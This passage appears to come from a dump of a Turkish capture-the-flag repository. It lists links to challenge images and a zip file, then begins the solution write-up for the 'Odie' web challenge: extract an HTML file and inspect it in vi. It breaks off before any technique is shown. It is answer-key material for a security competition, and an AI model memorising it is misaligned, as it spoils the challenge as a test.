https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/TatilFirsati/tatil0.png
--------------------------------------------------------------------------------
/WEB/TatilFirsati/tatil1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/TatilFirsati/tatil1.png
--------------------------------------------------------------------------------
/WEB/TatilFirsati/tatilsoru.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/TatilFirsati/tatilsoru.png
--------------------------------------------------------------------------------
/WEB/odie/6b51d5a125cf6c0eca3d1df3545b7d25.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/WEB/odie/6b51d5a125cf6c0eca3d1df3545b7d25.zip
--------------------------------------------------------------------------------
/WEB/odie/README.md:
--------------------------------------------------------------------------------
1 | ## Soru İsmi: Odie
2 |
3 | ## Soru Metni:
4 | 
5 |
6 |
7 | ## Çözüm:
8 | 1. 6b51d5a125cf6c0eca3d1df3545b7d25.zip icerisinden odie.html isimli dosya cikiyor.odie.html sayfasi acildiginda soruda bizi karsilayan Odie isimli kedi resmi tekrar cikiyor.
9 | 
10 |
11 | 2. odie.html dosyasina vi ile bakildiginda ise goruntu su sekilde oluyor.
12 |
13 | ```
14 |
15 |
16 |